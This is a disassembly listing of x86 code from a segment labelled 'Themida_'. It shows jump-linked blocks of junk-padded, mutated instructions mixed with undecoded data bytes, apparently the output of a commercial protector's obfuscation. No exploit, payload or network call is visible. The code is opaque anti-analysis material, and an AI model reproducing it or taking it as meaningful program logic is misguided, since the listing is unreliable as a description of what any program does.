		mov	edi, 4
		push	6B2Eh
		mov	[esp], ebx
		mov	ebx, 750812h
		sub	ecx, ebx
		pop	ebx
		add	ecx, edi
		add	ecx, 750812h
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_596416
; ---------------------------------------------------------------------------
		dw 0AF05h
		dd 0E975175Ch, 0BD3Bh
; ---------------------------------------------------------------------------


loc_5912B4:				; CODE XREF: Themida_:00598377j
		sub	ebx, ecx
		jmp	loc_5A2582
; ---------------------------------------------------------------------------


loc_5912BB:				; CODE XREF: Themida_:0059D898j
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5A1ACA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF7D3h, 0C180D9F6h, 59CB00A2h, 0EB80F328h, 24148B37h
		dd 4C481h, 0DD300000h, 0F068665Bh, 489660Bh, 85B35324h
		dd 30AEB151h, 0CB33E9CBh, 0E2890000h, 12BCDE9h,	48F5400h
		dd 24048124h, 4, 5124048Bh, 0BCE9E189h,	0FF0000B2h, 0B0E92434h
		dd 81000144h, 4ECh, 265CE900h, 0C870001h, 87D1F724h, 835F240Ch
		dd 0A9E904ECh, 89000042h, 0BB532434h, 5845087Eh, 4680C381h
		dd 0EB812635h, 7E7A4EFAh, 15BDE89h, 5E042474h, 12E8BE9h
		dd 243C8B00h, 8904C483h, 0ACE95EF7h, 57000095h,	8509E955h
		dd 0C5290000h, 0FFEF8958h, 2C8B2434h, 4C48324h,	26EBE9h
		dd 4C48100h, 1000000h, 11E959CAh
		db 3Ch,	1, 0
byte_59138F	db 0FFh			; DATA XREF: Themida_:005908F0o
a4Xphqb		db '4$XPhŸB',0
		dd 24248900h, 6BA2E9h, 81D7F700h, 0BB6EDFE7h, 61BB5339h
		dd 0C102627Eh, 0EB8106EBh, 7ED1541Bh, 3120B951h, 84E9677Fh
		dd 55000117h, 9727B0BDh, 92E94D53h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5913CF:				; CODE XREF: Themida_:00596898j
		add	eax, 6E005AE2h
		mov	ecx, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edi
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		add	[ebx], edx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_594E54
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 6EAD2CAAh, 0AF95EE81h, 0F0291C6Eh, 27DAE95Eh, 0F2810000h
		dd 47A871B1h, 0E12AE9h
		db 0
; ---------------------------------------------------------------------------


loc_591415:				; CODE XREF: Themida_:0059A397j
		mov	esi, 5DC346CCh
		add	ebx, esi
		pop	esi
		jmp	loc_5A2D32
; ---------------------------------------------------------------------------


loc_591422:				; CODE XREF: Themida_:0059563Fj
		mov	ebx, 2B4758E4h
		push	767Ch
		jmp	loc_5A3C84
; ---------------------------------------------------------------------------
aISQ		db '‰,$é\ï',0
		db 0
; ---------------------------------------------------------------------------


loc_591439:				; CODE XREF: Themida_:0059606Dj
		shr	edx, 7
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59EBB0
; ---------------------------------------------------------------------------
		db 55h
		dd 4CF6BE56h, 0F58954E5h, 8324348Bh, 0E92104C4h, 3591E95Dh
		dd 0D0F70001h, 0FE42E9h
		db 0
; ---------------------------------------------------------------------------


loc_591465:				; CODE XREF: Themida_:005A230Dj
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2BDF7A87h
		mov	ebp, 2E31F2F4h
		sub	ebp, edx
		pop	edx
		and	ebp, 7D5F260Eh
		sub	ebp, 24B1497Bh
		shl	ebp, 8
		sub	ebp, 0A0D68900h
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59F012
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9532414h, 0A5F1h
; ---------------------------------------------------------------------------


loc_5914C4:				; CODE XREF: Themida_:0059E9B7j
		xor	eax, 92DFDFB0h
		jmp	loc_5A2366
; ---------------------------------------------------------------------------
		dw 8952h
		dd 0FEEBE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5914D6:				; CODE XREF: Themida_:0059F3B0j
		sub	eax, 0BFA8F54Ah
		or	edi, eax
		pop	eax
		sub	edi, 1
		xor	edi, 537A7FFFh
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_5A21DE
; ---------------------------------------------------------------------------


loc_5914F4:				; CODE XREF: Themida_:00598D43j
		pop	eax
		pop	esi
		pop	ebp
		jmp	loc_59B9A3
; ---------------------------------------------------------------------------


loc_5914FC:				; CODE XREF: Themida_:005945A8j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5957E4
; ---------------------------------------------------------------------------


loc_59150D:				; CODE XREF: Themida_:00594D77j
		mov	[esp], ecx
		push	edx
		mov	edx, 24h
		push	eax
		push	edx
		sub	dword ptr [esp], 6E005AE2h
		jmp	loc_59CBD8
; ---------------------------------------------------------------------------
		dd 0E842C0BDh, 4F19E94Fh, 815B0000h, 4C1h, 240C3300h, 0E9240C31h
		dd 0D23Bh, 0CBE4E95Ah, 0E9500000h, 0F42Dh, 104C483h, 0BFE9C3h
		db 1, 0
; ---------------------------------------------------------------------------


loc_591556:				; CODE XREF: Themida_:00594364j
		pop	esp
		add	ecx, 2
		jmp	loc_594E1D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4E98300h, 5C240C87h, 50242C89h, 4B8h, 58C58900h
		dd 11B7AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59157D:				; CODE XREF: Themida_:0059EF11j
		push	3BD1h
		mov	[esp], edi
		push	ebx
		mov	ebx, 6740112Fh
		mov	edi, 0A7BEFCB4h
		push	ebx
		mov	ebx, 0A5524DEh
		add	edi, 3D073F12h
		add	edi, ebx
		sub	edi, 3D073F12h
		pop	ebx
		jmp	loc_5A34F6
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 0A051E9h
		db 0
; ---------------------------------------------------------------------------


loc_5915B1:				; CODE XREF: Themida_:0059ECAAj
		mov	edx, 46FE2D63h
		jmp	loc_59F3E4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2474FF51h, 48F5904h,	420FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5915CA:				; CODE XREF: Themida_:005A15E1j
		push	ecx
		mov	ecx, 4
		push	ecx
		pop	edx
		jmp	loc_59712E
; ---------------------------------------------------------------------------
		db 68h
		dd 3268h, 0BA241489h, 0D6B012FFh, 148BD529h, 4C48124h
		dd 29000000h, 0BF575DEEh, 30694815h, 5104E7C1h,	6A83BA52h
		dd 0D2B94DAAh, 0E9FF59B2h, 1E23h, 362ABE56h, 0EE815580h
		dd 79C04DC7h, 295EF729h, 243C8BFBh, 0AAF0E9h, 7E7C100h
		dd 5C35F781h, 0FE31EA14h, 23A1E9h, 34AD6800h, 34890000h
		dd 15A8E924h, 0D0F60000h, 0C004E8C0h, 732C08E0h, 0DF81E9h
		dd 81D6F700h, 6441B9F6h, 5EF00128h, 11269E9h, 0B0E95000h
		dd 1000094h, 0EE835FFEh, 24348704h, 8924248Bh, 0BE562424h
		dd 4, 0DD80E9h,	24143300h, 33241431h, 685C2414h, 6C30h
		dd 0B4A7E9h, 24248900h,	52E78957h, 24A9E9h, 8BDE2900h
		dd 0C481241Ch, 4, 4E2FE9h, 4EC8300h, 68FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5916B9:				; CODE XREF: Themida_:0059DCF1j
		dec	ecx
		xor	ecx, 83CA8482h
		xor	eax, ecx
		jmp	loc_5A2E55
; ---------------------------------------------------------------------------
		db 80h
		dd 0F652C8CEh, 5A012454h, 68A4EE80h, 3CA8h, 0B5240C89h
		dd 0D4C5800Eh, 2859EE28h, 5E0E9F3h, 0BA520000h,	32804FA2h
		dd 1C94E281h, 0E2C11A3Fh, 0D9C28106h, 5291B614h, 0FA242C81h
		dd 58702C54h, 2C54FA05h, 24148B70h, 504C483h, 0EE46CB2Bh
		dd 290BEE81h, 0C6014399h, 7337E9h, 4EC8300h, 0E9240C89h
		dd 3CABh, 31241C33h, 1C33241Ch,	24248B24h, 9C240408h, 0FFF356E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591745:				; CODE XREF: Themida_:0059B72Bj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 43487A37h
		push	ecx
		mov	ecx, 0BCB785CDh
		add	edx, ecx
		jmp	loc_59A04D
; ---------------------------------------------------------------------------
		dd 0BB535F54h, 4, 815BDF01h, 4C7h, 243C8700h, 59CB015Ch
		dd 135B951h, 0CB213853h, 0E0BD5559h, 0F7223424h, 3EDC1DDh
		dd 6C77E9h, 51D3F600h, 0F580B6B5h, 59EB08EBh, 8099C380h
		dd 0D828FBF3h, 0E957E9h
		db 0
; ---------------------------------------------------------------------------


loc_5917A9:				; CODE XREF: Themida_:00599AF0j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59D4ED
; ---------------------------------------------------------------------------


loc_5917B2:				; CODE XREF: Themida_:0059E7DFj
		push	esi
		jmp	loc_59686D
; ---------------------------------------------------------------------------
		dd 55B3F68h, 0E2815A23h, 156B46BBh, 11DF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5917C9:				; CODE XREF: Themida_:0059AFE5j
		pop	ebx
		sub	esi, 0F39304ABh
		push	esi
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		shr	ebp, 3
		push	ebx
		jmp	loc_59ED01
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89240489h, 405E0h, 0C0830000h, 24048704h, 0E924248Bh
		dd 12655h, 4C4835Bh, 730BBE56h,	0F129296Bh, 20BE565Eh
		dd 81684B12h, 896E9ECEh, 8EEE814Eh, 814E714Bh, 72251FF6h
		dd 5EF1013Ch, 0D7E9F929h, 810000F6h, 4C4h, 506E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_591836:				; CODE XREF: Themida_:005A1A53j
		inc	esi
		neg	esi
		sub	esi, 554D519Dh
		sub	edi, esi
		jmp	loc_5A4370
; ---------------------------------------------------------------------------
word_591846	dw 77FFh		; DATA XREF: Themida_:005908DCo
		dd 19589D1Ch, 0E99C2404h, 0FFFFF247h, 3E07C381h, 0C30154EAh
		dd 7C2CBD55h, 0E9450B3Eh, 14103h, 81241C8Bh, 4C4h, 2434FF00h
		dd 4C48159h, 80000000h,	0DAF635CAh, 1A79E9h, 4BA00h, 81520000h
		dd 56B8242Ch, 0E95D4B9Fh, 799Bh, 4C481h, 0DA010000h, 4E24EA81h
		dd 875B51DFh, 0E95C2414h, 7898h
; ---------------------------------------------------------------------------


loc_5918B0:				; CODE XREF: Themida_:00593AD8j
		neg	edx
		and	edx, 1E3A3558h
		add	edx, 0F1C5CFBCh
		mov	edi, edx
		jmp	loc_59C422
; ---------------------------------------------------------------------------
aIS6l		db 'ˆÂé6‹',0
		align 4


loc_5918CC:				; CODE XREF: Themida_:0059FAF2j
		pop	ecx
		neg	edx
		not	edx
		sub	edx, 0D8C9B33Ch
		sub	eax, edx
		pop	edx
		jmp	loc_590B5F
; ---------------------------------------------------------------------------


loc_5918DF:				; CODE XREF: Themida_:00596390j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_5952A6
; ---------------------------------------------------------------------------
		dw 82B9h
		dd 13EB307h, 0BE959CDh,	0F7000032h, 3AC181D1h, 101B9D7h
		dd 0CA2D59CBh, 134E868h, 68CA05D8h, 55B34E8h, 2, 31240433h
		dd 4332404h, 24248B24h,	47C68h,	241C8900h, 0EC81E389h
		dd 4, 0B8240489h, 4, 3C1C381h, 0CCE90AE8h, 3100005Eh, 0C3815DEBh
		dd 524942E8h, 0B5CB8143h, 51430732h, 5CE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59195D:				; CODE XREF: Themida_:0059255Fj
		or	edx, eax
		shl	edx, 1
		push	15BFh
		mov	[esp], ebx
		push	0FFFFFFFFh
		mov	ebx, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		jmp	loc_5986CC
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FDE3h, 56B9E959h, 66590000h, 0B6525351h, 4BECE908h
		db 2 dup(0)
word_59199A	dw 8B66h		; DATA XREF: Themida_:00590834o
		dd 0EC81240Ch, 4, 125E1E9h, 59C80900h, 0BB53D8F7h, 70F8424Bh
		dd 0E903E3C1h, 0FA23h
; ---------------------------------------------------------------------------


loc_5919BC:				; CODE XREF: Themida_:00598F2Bj
		mov	edi, esp
		add	edi, 4
		jmp	loc_59B355
; ---------------------------------------------------------------------------
aTssz		db 'T鑇',0
		db 0
byte_5919CF	db 0FFh			; DATA XREF: Themida_:005907D8o
a4Xhda		db '4$XhDA',0
		align 4
		dd 54241C89h, 5B2434FFh, 50E28952h, 1393EE9h, 0DD295D00h
		dd 6C5EE9h, 242C8900h, 95F1E9h,	0E9C60100h, 481Ch
; ---------------------------------------------------------------------------


loc_591A00:				; CODE XREF: Themida_:00598FC0j
		push	esi
		mov	esi, esp
		jmp	loc_59E1CD
; ---------------------------------------------------------------------------


loc_591A08:				; CODE XREF: Themida_:0059ADFFj
		push	ebp
		mov	ebp, 31D03121h
		jmp	loc_593CDE
; ---------------------------------------------------------------------------


loc_591A13:				; CODE XREF: Themida_:005996EFj
		mov	edx, 33AE77DDh
		sub	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59D369
; ---------------------------------------------------------------------------
		db 68h,	99h, 7
		dd 0CEE90000h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_591A33:				; CODE XREF: Themida_:005A3AECj
		mov	[esp], edx
		jmp	loc_593F21
; ---------------------------------------------------------------------------
		db 89h
		dd 3DB3241Ch, 0E901C380h, 0DBEBh, 0C181E189h, 4, 8704E983h
		dd 0E95C240Ch, 7E7Ch
; ---------------------------------------------------------------------------


loc_591A5C:				; CODE XREF: Themida_:0059D8C6j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_592375
; ---------------------------------------------------------------------------
		dd 53585450h, 0D8477ABBh, 0B850511Eh, 0E127B88Ah, 158C189h
		dd 0F09FE9CBh, 0C781FFFFh, 4, 5704C783h, 42474FFh, 24048F5Fh
		dd 6824248Bh, 5DA0h, 0BD242C89h, 256F2916h, 8105E5C1h
		dd 4B0B4FC5h, 4EDC1B8h,	116CBF57h, 0EEE925C4h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591ABF:				; CODE XREF: Themida_:0059A508j
		mov	[esp], esi
		push	242642Ch
		pop	esi
		push	ebx
		mov	ebx, 0EA309AEh
		sub	ebx, 0F3AAE00Ah
		and	esi, ebx
		pop	ebx
		and	esi, 1AF222A4h
		jmp	loc_59B330
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C481243Ch, 4, 4C781h, 0C7810000h, 4, 5C243C87h, 4EC81h
		dd 4890000h, 0DBCB824h,	1E96544h, 0B000012Ah, 66C328F6h
		dd 0E924048Bh, 436h, 7E1C15Fh, 0F181D9F7h, 4309A732h, 0C8BCF29h
		dd 0A8D1E924h, 0E2000000h, 8324048Bh, 0F28004C4h, 2A20E91Fh
		dd 4050000h, 83000000h,	0A0E904C0h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_591B4F:				; CODE XREF: Themida_:005A1BC4j
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 0F9B197Bh
		shl	esi, 1
		jmp	loc_5A02AA
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFFFFFB9h, 0C9EE81FFh, 813F9568h, 907A38C6h, 0E9CE294Eh
		dd 194Ch, 241CF751h, 2E9C159h, 5704E1C1h, 30506856h, 0F75E25E6h
		dd 22EE81DEh, 89A2B5D7h, 6252E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591B9E:				; CODE XREF: Themida_:005999E1j
		sub	edi, 51EF6E66h
		jmp	loc_5924B4
; ---------------------------------------------------------------------------


loc_591BA9:				; CODE XREF: Themida_:00594167j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5A1DBE
; ---------------------------------------------------------------------------
aIxsO		db '‰åé[Ž',0
		align 2
aHbrupss	db 'hbRUpéè>',0
		align 4
		dd 54A6E381h, 8143130Ah, 0A501FEBh, 5BDA0110h, 4B951h
		dd 0EA810000h, 69A6BA3h, 10456E9h, 0E9515200h, 0D599h
		dd 0FFFFB850h, 0C629FFFFh, 8B5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_591BF9:				; CODE XREF: Themida_:0059AE33j
		mov	edi, 44AD59C9h
		jmp	loc_59C271
; ---------------------------------------------------------------------------


loc_591C03:				; CODE XREF: Themida_:00594F82j
		mov	esi, ebx
		pop	ebx
		sub	eax, esi
		pop	esi
		pop	edx
		jmp	loc_5A4D68
; ---------------------------------------------------------------------------
		db 89h
		dd 15E9243Ch, 6800010Ch, 5DC015BBh, 53D9F759h, 0A33989BBh
		dd 74D4E91Ah, 0F74D0000h, 0EBF581DDh, 81246131h, 1BF2B1EDh
		dd 5DE929EBh, 0E959CA01h, 6413h, 42474FFh, 0FFF329E9h
		dd 4C483FFh, 34FFD021h,	0EC815A24h, 4, 13829E9h, 5AD72900h
		dd 855CE9h
		db 0
; ---------------------------------------------------------------------------


loc_591C69:				; CODE XREF: Themida_:0059B3B9j
		xor	edi, [esp]
		mov	esp, [esp]
		push	5F75h
		jmp	loc_590C38
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0B1h
		dd 814AE100h, 4ECh, 24048900h, 7F22E9h
		db 0
; ---------------------------------------------------------------------------


loc_591C8D:				; CODE XREF: Themida_:00596DB4j
		pop	edi
		push	ebx
		mov	ebx, 7C3238AFh
		neg	ebx
		push	esi
		mov	esi, 7C3238B1h
		add	ebx, esi
		pop	esi
		add	ebp, ebx
		jmp	loc_595008
; ---------------------------------------------------------------------------


loc_591CA6:				; CODE XREF: Themida_:00596847j
		add	edx, 7EF756B1h
		add	edx, ebx
		jmp	loc_59C825
; ---------------------------------------------------------------------------


loc_591CB3:				; CODE XREF: Themida_:0059509Fj
		pop	edx
		push	ecx
		pop	ebx
		jmp	loc_5A4772
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4EC81h, 0C890000h, 10E6E924h, 148B0000h, 4C48124h, 28000000h
		dd 0A0C380C3h, 683EC380h, 2CDDh, 0E9241489h, 0BD16h, 924248Bh
		dd 0E99C2404h, 0FFFFEDA7h, 0E95EF531h, 12D41h, 0F084E981h
		dd 0CE299233h, 25EE8159h, 816BEA0Fh, 5D5ED7EEh,	0E9C60122h
		dd 87F5h
; ---------------------------------------------------------------------------


loc_591D18:				; CODE XREF: Themida_:005A1657j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 31F471D4h
		sub	ecx, edx
		pop	edx
		pop	edi
		push	ebx
		mov	ebx, 2
		jmp	loc_5A211E
; ---------------------------------------------------------------------------


loc_591D35:				; CODE XREF: Themida_:00599A68j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_59497C
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 1Ch
		dd 4C48324h, 0FFED42E9h, 57E689FFh, 0B34896BFh,	0B415E94Ch
		dd 0D1890000h, 5A3E055Ah, 0C8014E55h, 555A3E2Dh, 0B262E94Eh
		dd 4680000h, 5A000000h,	2545BA52h, 0D1292B8Eh, 81D1015Ah
		dd 8E2545C1h, 0E9525A2Bh, 11FFCh, 4240483h, 83242C8Bh
		dd 456804C4h, 0E9000050h, 1ADBh, 5C241433h, 0C8B60F66h
		dd 29DE68h, 0F12E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591DBE:				; CODE XREF: Themida_:00597EA8j
		pop	ecx
		add	ebx, ecx
		pop	ecx
		jmp	loc_59DEC8
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E904EB83h, 97BDh, 895BDD01h, 91E95DEFh, 8100003Fh
		dd 2ECh, 34896600h, 66596624h, 5124348Bh, 0C1815954h, 4
		dd 0E902C183h, 0E778h, 5247D7F7h, 0A14268BAh, 0F7FA8759h
		dd 0E9FA31D7h, 131E4h, 0E19F381h, 0D3F711A7h, 118A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_591E1D:				; CODE XREF: Themida_:00597529j
		push	5FBFh
		mov	[esp], edx
		jmp	loc_5A1FC4
; ---------------------------------------------------------------------------
		dw 335Eh
		dd 14312414h, 0FF76E924h, 3C87FFFFh, 5CE95C24h,	0C0FFFFECh
		dd 0EB8005EBh, 5AEB8032h, 0C380DBF6h, 0E9D800CEh, 8B3Ch
		dd 0CFBF5752h, 0E9241A79h, 3FD3h
dword_591E60	dd 31E368h, 24348900h, 2935AFBEh, 4EC835Dh, 5362E9h, 575BB900h
					; DATA XREF: Themida_:00590934o
		dd 0E1D16304h, 8891E9h,	14895C00h, 0FEF0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591E8A:				; CODE XREF: Themida_:0059DD76j
		add	esp, 4
		push	edi
		mov	edi, 3D1671E0h
		jmp	loc_593E0D
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0BE5604C4h, 2A9417B8h, 68AAE681h,	0E9462B6Ah
		dd 86E1h
; ---------------------------------------------------------------------------


loc_591EB0:				; CODE XREF: Themida_:0059AE84j
		mov	[esp], ecx
		jmp	loc_5A1387
; ---------------------------------------------------------------------------
		dd 12Dh, 1CB0D00h, 0E8C16E9Dh, 192B3502h, 2D400FFBh, 0C4C67D55h
		dd 8158C601h, 34455BEEh, 0BB535F59h, 4,	335BDE01h, 34312434h
		dd 24343324h, 2434FF5Ch, 8324048Bh, 54E904ECh, 0B80000AFh
		dd 4, 6858C301h, 1879h,	1154EE9h
		db 0
; ---------------------------------------------------------------------------


loc_591F0D:				; CODE XREF: Themida_:00590AE0j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 9AB6556h
		jmp	loc_59B761
; ---------------------------------------------------------------------------


loc_591F20:				; CODE XREF: Themida_:005A3FE9j
		shl	edx, 6
		add	edx, 1
		push	5BB1h
		mov	[esp], edi
		push	2A304F13h
		mov	edi, [esp]
		jmp	loc_5A5426
; ---------------------------------------------------------------------------


loc_591F3B:				; CODE XREF: Themida_:00595E9Aj
		xor	ebx, esi
		push	4FE7h
		mov	[esp], eax
		jmp	loc_592F45
; ---------------------------------------------------------------------------
		dw 433h
aS_6		db '$éÚ&',0
		align 2
		dw 0C481h
		dd 2, 8904EC83h, 0E3B9240Ch, 0E9166A13h, 966h, 24ECF81h
		dd 0EF817B96h, 34B3CC0Fh, 11CFEE81h, 0FE015A8Fh, 6D77E9h
		dd 4C48100h, 0E9000000h, 0FEC0h
; ---------------------------------------------------------------------------


loc_591F8C:				; CODE XREF: Themida_:00592C9Cj
		push	ebx
		mov	bh, 8Fh
		not	bh
		inc	bh
		and	bh, 20h
		neg	bh
		push	eax
		push	ebx
		mov	bl, 0AFh
		mov	ah, bl
		pop	ebx
		add	bh, ah
		pop	eax
		xor	bh, 0F7h
		jmp	loc_590EFF
; ---------------------------------------------------------------------------
		dw 34FFh
aSt		db '$é’Ô',0
		align 2


loc_591FB2:				; CODE XREF: Themida_:0059E562j
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_5A0D16
; ---------------------------------------------------------------------------


loc_591FBC:				; CODE XREF: Themida_:0059F2F7j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59E076
; ---------------------------------------------------------------------------


loc_591FC5:				; CODE XREF: Themida_:00593A0Dj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5963A1
; ---------------------------------------------------------------------------
		dd 5BF82859h, 0CEA5E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591FDA:				; CODE XREF: Themida_:0059B8C8j
		mov	ebp, esp
		jmp	loc_5A3ADC
; ---------------------------------------------------------------------------


loc_591FE1:				; CODE XREF: Themida_:005A0884j
		push	ebp
		jmp	loc_595B5E
; ---------------------------------------------------------------------------
		db 83h
		dd 525102C4h, 3A5E68h, 2F38E900h, 0E9310001h, 59CD295Dh
		dd 10F8DE9h, 58E70800h,	0EF80DFF6h, 0E9DFF601h,	0D5F0h
; ---------------------------------------------------------------------------


loc_592010:				; CODE XREF: Themida_:0059B76Ej
		dec	esi
		jmp	loc_59F081
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 2C3815Ah, 53000000h,	42474FFh, 83241C8Bh, 48F04C4h
		dd 0E1CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592032:				; CODE XREF: Themida_:0059294Cj
		add	esi, 1278303Ah
		pop	ecx
		push	ecx
		mov	ecx, 4
		sub	esi, 1A6518F7h
		add	esi, ecx
		add	esi, 1A6518F7h
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_594EE9
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 0EC815200h, 4,	0FEEEE9h, 243C8900h, 6B4F68h, 24248900h
		dd 4EC81h, 0C890000h, 4B924h, 0CDE90000h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592087:				; CODE XREF: Themida_:0059E401j
		mov	ebx, 4
		jmp	loc_5966D9
; ---------------------------------------------------------------------------
		db 5Ch,	59h, 88h
		dd 2434FF1Ah, 83241C8Bh, 0C48104C4h, 4,	0B306E9h
		db 0
; ---------------------------------------------------------------------------


loc_5920A9:				; CODE XREF: Themida_:005A50C7j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 1BC0h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5920D5:				; CODE XREF: Themida_:0059D62Ej
		sub	dl, 98h
		mov	bl, dl
		pop	edx
		mov	al, bl
		pop	ebx
		sub	al, 3Ah
		sub	bl, 0B9h
		push	ecx
		jmp	loc_5A2DAD
; ---------------------------------------------------------------------------


loc_5920E9:				; CODE XREF: Themida_:0059B41Dj
		sub	esi, 5EDB3F25h
		jmp	loc_59B498
; ---------------------------------------------------------------------------
		dd 8108EAC1h, 307197EAh, 0D1EA817Eh, 181EF9Eh, 0EA3BE9D5h
		dd 0C89FFFFh, 0C0C8B524h, 0ED8005EDh, 1ED8073h,	80BEE580h
		dd 0EA8810F5h, 12586E9h, 241C8B00h, 5604C483h, 0DE75E957h
		dd 48580000h, 0F635D0F7h, 14D5A13h, 24048BC3h, 8104C483h
		dd 0BF314EEAh, 6EEA810Fh, 56607530h, 12A43E9h
		db 0
; ---------------------------------------------------------------------------


loc_592155:				; CODE XREF: Themida_:005980D5j
		mov	esi, [esp]
		push	ebx
		jmp	loc_59FC5B
; ---------------------------------------------------------------------------
		dw 487h
		dd 87D0F724h, 0F4E92404h, 8100002Ah, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 4BE2434h,	81000000h, 1C5526C7h, 53C7816Dh
		dd 12F0718h, 2BE9F7h
		db 1, 0
; ---------------------------------------------------------------------------


loc_592196:				; CODE XREF: Themida_:0059D728j
		add	cl, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		inc	cl
		push	ebx
		push	edx
		push	ecx
		mov	cl, 0CCh
		mov	dh, cl
		pop	ecx
		mov	bl, 0Dh
		xor	bl, dh
		jmp	loc_5A300A
; ---------------------------------------------------------------------------
		db 5Ah,	80h, 0F4h
aXaE		db 'X€Æ¥',0
		db 0E6h, 80h, 0EEh
		dd 0F02858A5h, 5A2434FFh, 9512E9h
		db 0
; ---------------------------------------------------------------------------


loc_5921D5:				; CODE XREF: Themida_:00594A88j
		add	eax, 675B2CD0h
		xor	eax, 7F7F1E36h
		jmp	loc_595095
; ---------------------------------------------------------------------------
		dd 0E9241487h, 4A36h, 0E9240489h, 136B8h, 913200BAh, 0A81EE946h
		dd 0DE290000h, 83241C8Bh, 0F7E904C4h, 1000092h,	93D5E9FBh
		dd 74680000h, 89000002h, 0FBB62414h, 0F8EC80h, 0F8C480F4h
		dd 0FFFF94E9h, 241489FFh, 0C281E289h, 4, 2BE56h, 0EA810000h
		dd 1E5C0D72h, 0C281F201h, 1E5C0D72h, 5524348Bh,	8904EC83h
		dd 0E6892434h, 4C681h, 0EE830000h, 24348704h, 0F2D5E95Ch
		dd 0ED830000h, 599E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59226E:				; CODE XREF: Themida_:0059A67Dj
		shr	esi, 6
		jmp	loc_5A4670
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 268FE901h, 0C4810001h, 4, 81E68956h,	4C6h, 23A0E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_592292:				; CODE XREF: Themida_:005930DEj
		push	edx
		mov	ebp, [esp]
		jmp	loc_59DC9E
; ---------------------------------------------------------------------------


loc_59229B:				; CODE XREF: Themida_:0059CFAAj
		xor	ebx, ecx
		jmp	loc_5A0B07
; ---------------------------------------------------------------------------
		dw 0CD29h
		dd 0C5815F59h, 2, 8B242C87h, 3CD22424h,	0E0E99C24h, 0B5FFFFE7h
